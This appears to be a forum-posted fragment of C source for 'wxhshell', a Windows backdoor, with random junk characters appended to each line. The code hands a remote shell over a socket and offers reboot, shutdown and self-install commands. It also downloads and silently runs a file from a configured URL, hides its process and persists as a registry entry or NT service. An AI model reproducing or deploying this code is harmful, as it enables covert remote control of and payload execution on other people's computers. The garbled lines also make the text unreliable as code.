  _I<LB0kgf.  
  // 帮助 `F,*NESv  
  case '?': { Jr.4Y>;}e3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); LR:meCOI  
    break; &Z%|H>+;T  
  } tjWf`#tH>H  
  // 安装 Uf`~0=w  
  case 'i': { 4cQ|"sOzD  
    if(Install()) rI;84=v2&9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %7 [ Z/U=  
    else d'UCPg<Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Cj3C%W  
    break; >sl#2,br  
    } -+,3aK<[  
  // 卸载 Jd-u ?  
  case 'r': { \ QE?.Fx  
    if(Uninstall()) :@c\a99Kx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *L+)R*|:&  
    else $PbwC6>8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KOYcT'J@vR  
    break; b.lK0 Xo  
    } mZ! 1Vh  
  // 显示 wxhshell 所在路径  M_ii  
  case 'p': { ;'7gg]  
    char svExeFile[MAX_PATH]; ? 1 ~C`I;  
    strcpy(svExeFile,"\n\r"); ` Clh;  
      strcat(svExeFile,ExeFile); 5fuB((fd(  
        send(wsh,svExeFile,strlen(svExeFile),0); $`'Xb  
    break; R A^-Pa.O  
    } rhQv,F9  
  // 重启 tZ*z.3\<  
  case 'b': { aPH6R<G  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); o3kVcX^  
    if(Boot(REBOOT)) e>~7RN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Puodsd  
    else { xp;CYr"1}  
    closesocket(wsh); uYy&<_r  
    ExitThread(0); nAY'1!Oi  
    } l 4e`-7  
    break; M~"93Q`f^  
    } ? ht;ZP  
  // 关机 P(Wr[lH\y  
  case 'd': { :I/i"g7<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); U%T{~f  
    if(Boot(SHUTDOWN)) bS"zp6Di  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r?:xD(}Q  
    else { PZE{- TM?W  
    closesocket(wsh); S{7 R6,B5  
    ExitThread(0); 5FQtlB9F  
    } DB>.Uf"  
    break; uX8yS|= *  
    } qdY*y&}"J  
  // 获取shell Udl8?EVSz  
  case 's': { %wk3&EC.  
    CmdShell(wsh); MFqM 6_  
    closesocket(wsh); /KLs+^c5  
    ExitThread(0); $#LR4 [Fq  
    break; }n[<$*W^  
  } k%2Rv4)hU  
  // 退出 2GW.'\D  
  case 'x': { OHyBNJ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^!yJ;'H\  
    CloseIt(wsh); } Rs@  
    break; l?J|Ip2W  
    } WIkr0k  
  // 离开 D N#OLk  
  case 'q': { ZGZ+BOFL  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #!RO,{FT  
    closesocket(wsh); *Iir/6myM  
    WSACleanup(); ._A@,]LS}  
    exit(1); ^Z`?mNq9  
    break; lVR a{._m  
        } Kh,zp{  
  } 1?hx/02  
  } H){lXR/#u  
+x_9IvaW&?  
  // 提示信息 *p=a-s5-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2Pz)vnV"  
} NU{`eM  
  } N"Mw1R4  
T]0H&Oov  
  return; A$;"9F@  
} F!pgec%]'  
v>oWk:iJP  
// shell模块句柄 6 ~LCj"  
int CmdShell(SOCKET sock) KE*8Y4#9  
{ 7,:$, bL  
STARTUPINFO si; pxgVYr.  
ZeroMemory(&si,sizeof(si)); 22_%u=p-|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; dub %fs  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [44C`x[8M+  
PROCESS_INFORMATION ProcessInfo; GT3 ?)g{Z  
char cmdline[]="cmd"; 4ht+u  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); RI</T3%~  
  return 0; +q-/~G'  
} {j!+\neL  
qrxn%#\XP  
// 自身启动模式 oasEG6OI8  
int StartFromService(void) n,vs(ZL:  
{ ?X5Y8n]y\h  
typedef struct }=T=Z#OgH  
{ `iT{H]po  
  DWORD ExitStatus; IyJHKDFk  
  DWORD PebBaseAddress; nlsif  
  DWORD AffinityMask; ~]LkQQ'  
  DWORD BasePriority; 8\])p sb9  
  ULONG UniqueProcessId; 6tKCY(#oO+  
  ULONG InheritedFromUniqueProcessId; >jH%n(TcC  
}   PROCESS_BASIC_INFORMATION; h-+GS%  
?Ja&LNI9S  
PROCNTQSIP NtQueryInformationProcess; E Zh.*u@^r  
#BLmT-cl  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 75?z" i  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; G}8Zkz@+  
~P;KO40K  
  HANDLE             hProcess; P<s 0f:".  
  PROCESS_BASIC_INFORMATION pbi; zvAUF8'_  
SG@-b(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5zk^zn)  
  if(NULL == hInst ) return 0; H4{CiZ  
-H-:b7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  tQSJ"Q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); mNDz|Ln  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); LUN"p#1  
f9FEH7S68  
  if (!NtQueryInformationProcess) return 0; Fh0cOp(  
U\~9YX8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4_&+]S  
  if(!hProcess) return 0; k?7V#QW(  
o{r<=X ysM  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <A+n[h  
W3aFao>!OZ  
  CloseHandle(hProcess); *47',Qy  
SNl% ?j| f  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _ 0g\g~[  
if(hProcess==NULL) return 0; q47:kB{d  
.XTR HL*:  
HMODULE hMod; ]~!?(d!J/  
char procName[255]; Al-;-t#Dc  
unsigned long cbNeeded; PT/TQW  
'2X6 >6`w  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :Y)jf  
n4%ZR~9WH  
  CloseHandle(hProcess); $vjl-1x&  
MIF`|3$,  
if(strstr(procName,"services")) return 1; // 以服务启动 vA"MTncv  
bpp{Z1/4  
  return 0; // 注册表启动 K}e:zR;;^  
} X" m0||  
E 8LA+dKN:  
// 主模块 F(}~~EtPHo  
int StartWxhshell(LPSTR lpCmdLine) ;:DDz  
{ QMAineO  
  SOCKET wsl; OPe3p {]  
BOOL val=TRUE; )oAxt70  
  int port=0; lNRGlTD%  
  struct sockaddr_in door; SR8)4:aKW  
Q!*}^W  
  if(wscfg.ws_autoins) Install(); -'%>Fon  
F)n^pT  
port=atoi(lpCmdLine); g:rjt1w`D  
F :p9y_W  
if(port<=0) port=wscfg.ws_port; =&~7Q"  
d":GsI?3  
  WSADATA data; U_[<,JE  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; l2Pry'3  
aP&bW))CI  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8gn12._x  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7H!/et?S,  
  door.sin_family = AF_INET; PXrv2q[5?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;eY.4/*R  
  door.sin_port = htons(port); !> 2kH  
E>I\m!ue  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )Bw}T  
closesocket(wsl); rZ#ZY  
return 1; J1UG},-h  
} 50jZu'z:  
)Gm,%[?2C  
  if(listen(wsl,2) == INVALID_SOCKET) { M)6iYA%$  
closesocket(wsl); ic;M=dsh:  
return 1; OC=g 1  
} zN3b`K. i  
  Wxhshell(wsl); X%rsa7H3J  
  WSACleanup(); euiP<[|h=  
!fmbm4!a  
return 0; j/p1/sJ[y  
PX/7:D?  
} %iR"eEE  
a${<~M hm  
// 以NT服务方式启动 ^g SZzJ5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  $+  
{ i9koh3R\  
DWORD   status = 0; 'B\7P*L"p  
  DWORD   specificError = 0xfffffff; j@u]( nf  
vN9R. R  
  serviceStatus.dwServiceType     = SERVICE_WIN32; cMK}BHOC  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; U-U"RC>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /P%OXn$i/  
  serviceStatus.dwWin32ExitCode     = 0; 5_7y1  
  serviceStatus.dwServiceSpecificExitCode = 0; WRov7  
  serviceStatus.dwCheckPoint       = 0; [jEZ5]%  
  serviceStatus.dwWaitHint       = 0; iu.v8I ;<  
B? Z_~Bf&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9T#${NK  
  if (hServiceStatusHandle==0) return; %EH{p@nM&-  
~YRG9TK  
status = GetLastError(); W+Q^u7K  
  if (status!=NO_ERROR) SxI-pH'  
{ kt2W7.A 5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; zI,z<-  
    serviceStatus.dwCheckPoint       = 0;  <BiSx  
    serviceStatus.dwWaitHint       = 0; V| &->9"  
    serviceStatus.dwWin32ExitCode     = status; SceK$  
    serviceStatus.dwServiceSpecificExitCode = specificError; b[KZJLZ)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,n3e8qd  
    return; e);`hNLih  
  } Z^!% b  
Fs(FI\^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0fzHEL  
  serviceStatus.dwCheckPoint       = 0; y|/[;  
  serviceStatus.dwWaitHint       = 0; 1I?`3N  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2h:{6Gq8  
} D/YMovH%  
?[<#>,W  
// 处理NT服务事件,比如:启动、停止 yu>)[|-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) oJ?,X^~_  
{ < Dt/JA(p  
switch(fdwControl) U'aJCM  
{ = glF6a  
case SERVICE_CONTROL_STOP: V}X>~ '%  
  serviceStatus.dwWin32ExitCode = 0; *3\*GatJ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; FrC)2wX  
  serviceStatus.dwCheckPoint   = 0; P W_"JZ  
  serviceStatus.dwWaitHint     = 0; `gAW5 i-z5  
  { Z`<5SHQd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bH.SUd)  
  } UZpQ%~/  
  return; v\o m  
case SERVICE_CONTROL_PAUSE: ezb*tN!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Ao+6^z_  
  break; R} X"di  
case SERVICE_CONTROL_CONTINUE: `a `>Mtl  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; yV*jc`1  
  break; |Iknk,  
case SERVICE_CONTROL_INTERROGATE: kvG.?^ v  
  break; {l"(EeW6)  
}; *,|x p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zY9CoadZ  
} zygH-3C7o  
f?$yxMw:@  
// 标准应用程序主函数 9ZNzC i!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &=]!8z=  
{ :nOI|\ rC  
[,3E#+y  
// 获取操作系统版本 q|V|Jl  
OsIsNt=GetOsVer(); {)(Mkm +d  
GetModuleFileName(NULL,ExeFile,MAX_PATH); lAR1gHhJ  
)#8}xAjV  
  // 从命令行安装 m Uy>w  
  if(strpbrk(lpCmdLine,"iI")) Install(); d uP0US  
NvC @  
  // 下载执行文件 $zM \Jd  
if(wscfg.ws_downexe) { (&SPMhs_|(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) RzU9]e  
  WinExec(wscfg.ws_filenam,SW_HIDE); : { iK 5  
} NL,6<ZOon,  
_Q'f^Kj  
if(!OsIsNt) { {n&GZG"f  
// 如果时win9x,隐藏进程并且设置为注册表启动 @?>5~  
HideProc();  W_6gV  
StartWxhshell(lpCmdLine); %l,CJd5  
} 7K ~)7U  
else pk`5RDBu  
  if(StartFromService()) 6LrI,d  
  // 以服务方式启动 *R}p9;dpO  
  StartServiceCtrlDispatcher(DispatchTable); ]ddH>y&o  
else V-3;7  
  // 普通方式启动 Cp+tcrd_s  
  StartWxhshell(lpCmdLine); Fi/`3A@68  
'P*OzZ4>$  
return 0; A'$>~Ev  
}
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只看该作者 1 发表于: 2006-10-10
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